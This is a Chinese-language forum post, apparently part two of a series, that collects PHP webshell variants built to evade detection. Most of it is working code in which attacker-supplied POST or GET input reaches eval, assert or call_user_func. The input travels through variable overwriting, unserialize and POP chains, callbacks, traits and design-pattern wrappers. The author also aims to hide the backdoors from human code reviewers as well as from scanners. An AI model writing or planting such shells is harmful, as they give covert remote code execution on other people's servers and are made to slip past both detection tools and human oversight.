shell免杀要点(第二部分数据流)

前言

此项目虽然是免杀shell,但跟代码审计密切相关,有些免杀方法就是真实漏洞的一部分简化,故打算长期沉淀,把自己看到、想到的更新在此。

大概如下四部分:

1、source

2、数据流

3、sink

4、面向人的免杀

这里有的一提的是面向人的免杀,检测工具易过,但是人一看就看得出来。所以也是要免杀人的。

这里是第二部分,数据的流向。

数据流

uaf

php 5.6测试成功。

<?php
$code = $_POST[1];
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = &$code;

eval($outer_array);
?>

非等号赋值-数组传递

<?php
$c = array();
array_push($c,$_POST[1]);
eval($c[0]);
?>

变量覆盖-parse_str

<?php
parse_str("code=$_POST[1]");
eval($code);
?>

变量覆盖-双$

<?php
foreach ($_POST as $key => $value) {
    ${$key} = $value;
}

eval($code);
?>

变量覆盖-extract

<?
extract($_GET).$a($b);

unserialize

<?php
$code=$_POST[1];
$s=base64_decode('YToyOntpOjE7czo2OiJhc3NlcnQiO2k6MjtzOjEwOiJwaHBpbmZvKCk7Ijt9');
$o = unserialize($s);
$o[1]($code);
?>

pop链

<?php

class Wrapper{
	public $evil;

	function __destruct() {
		$evil = new Evil();
		$evil->func = $_GET['func'];
		$evil->code = $_POST[1];
		$evil."11";
	}
}

Class Evil{
	public $func;
    public $code;

    function __toString() {
        call_user_func($this->func,$this->code);
		return "";
    }
}

$warpper = new Wrapper();
?>

回调函数

$e = $_REQUEST['e'];
$arr = array($_POST[1],);
array_filter($arr, $e);

trait

trait Evilable {
	public function test($code){
		eval($code);
	}
}

class Legal{
	use Evilable;
}

$evil = new Legal();
$evil->test($_POST[1]);

数据源来于类属性

trait Evilable {
	public $code;
	public function test(){
		eval($this->code);
	}
}

class Legal{
	use Evilable;
}


$evil = new Legal();
$evil->code = $_POST[1];
$evil->test($evil->code);

自定义路由-工厂模式

<?php
class Evil {
	public $code;
	public function test(){
		eval($this->code);
	}
}

class ClassFactory {
   public function getObject($className){
      return new $className;
   }
}

$classFactory = new ClassFactory();
$evil = $classFactory->getObject("Evil");
$evil->code = $_POST[1];
$evil->test();
?>

自定义路由-责任链

<?php

class Chain{
	public $level;
	public $next;

	public function doChain($level,$nothing){
		if($this->level==$level){
			$this->doit($nothing);
		}
		if($this->next!=null){
			$this->next->doChain($level,$nothing);
		}
   }

	public function doit($nothing){
	}
}

class Legal extends Chain{
	public function __construct(){
		$this->level=1;
	}

	public function doit($nothing){
		echo $code;
	}
}

class Evil extends Chain{
	public $code;

	public function __construct(){
		$this->level=2;
	}

	public function doit($nothing){
		eval($this->code);
	}
}

$legal = new Legal();
$evil = new Evil();
$legal->next = $evil;
$evil->next = null;

$evil->code = $_POST[1];
$legal->doChain(2,"");
?>

参考

maple、SkyBlue永恒、新仙剑之鸣、anlfi、mochazz、yzddMr6s、JamVayne、UltramanGaia等发过的文章。

项目地址:

2 个赞